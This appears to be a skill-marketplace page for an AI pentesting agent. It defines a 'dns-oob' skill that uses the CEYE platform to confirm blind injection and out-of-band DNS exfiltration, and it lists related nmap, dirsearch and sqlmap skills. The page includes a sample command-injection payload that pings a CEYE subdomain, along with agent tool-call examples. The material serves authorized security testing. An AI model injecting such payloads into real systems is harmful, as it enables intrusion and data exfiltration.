菜单
DNS out-of-band (OOB) reflection / exfiltration via CEYE platform. Use when the operator asks for DNS OOB testing, out-of-band data exfiltration, blind injection verification via DNS, or CEYE record queries.
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
Scoped web content discovery with the bundled dirsearch source tree. Use when the operator explicitly asks for dirsearch, directory enumeration, hidden file discovery, content brute forcing, or low-risk path discovery on authorized HTTP or HTTPS targets.
Scoped host-level reconnaissance with the bundled Nmap distribution. Use when the operator explicitly asks for nmap, port scanning, service enumeration, host reachability checks, or low-risk host discovery on authorized targets.
Safe first-pass web reconnaissance workflow for browser-assisted pentesting. Use when starting assessment on a web app, mapping exposed pages and flows, collecting passive evidence, or deciding whether deeper scripted discovery such as dirsearch, nmap, or sqlmap is justified.
Scoped SQL injection verification with the bundled sqlmap source tree. Use when the operator explicitly asks for sqlmap, SQL injection testing, raw HTTP request replay, form or anti-CSRF-aware injectable parameter verification, or conservative database fingerprinting and schema enumeration on authorized HTTP or HTTPS targets.
| name | dns-oob |
| description | DNS out-of-band (OOB) reflection / exfiltration via CEYE platform. Use when the operator asks for DNS OOB testing, out-of-band data exfiltration, blind injection verification via DNS, or CEYE record queries. |
| activation | auto |
| version | 1.0 |
| tags | ["oob","dns","exfiltration"] |
| requires_tools | ["list_skill_scripts","run_skill_script"] |
| env_required | ["CEYE_API_TOKEN"] |
| when_to_use | When the operator asks for DNS OOB testing, blind injection verification, or CEYE record queries. |
Use this skill for DNS out-of-band interaction testing through the CEYE platform.
CEYE is a DNS/HTTP OOB interaction monitoring platform. You can trigger DNS queries from the target (e.g. via blind injection) and then query CEYE to confirm whether the queries were received.
list_skill_scripts(skill_name="dns-oob") to confirm available scripts.scripts/ceye_query.py through run_skill_script to verify connectivity.ceye_query.py with the appropriate filter.filter parameter.run_skill_script(skill_name="dns-oob", script_name="ceye_query.py", args_json='["--type","dns"]')
run_skill_script(skill_name="dns-oob", script_name="ceye_query.py", args_json='["--type","dns","--filter","abc123"]')
run_skill_script(skill_name="dns-oob", script_name="ceye_query.py", args_json='["--type","http","--filter","abc123"]')
The CEYE DNS subdomain format is:
{subdomain}.ceye.io
{subdomain} is your CEYE platform identifier (configured via CEYE_SUBDOMAIN in .env).
For example, if CEYE_SUBDOMAIN=abcdef123, inject ping -c1 abcdef123.ceye.io into a command injection. The target will resolve this DNS query. Then query CEYE records to confirm.
If you need to distinguish multiple tests, you can prepend a random prefix: {random}.{subdomain}.ceye.io, and use --filter {random} to filter results.
CEYE_API_TOKEN environment variable (configured in .env).CEYE_SUBDOMAIN environment variable (configured in .env).--filter parameter matches subdomain prefixes. Max length is 20 characters.record_finding when an OOB interaction is confirmed.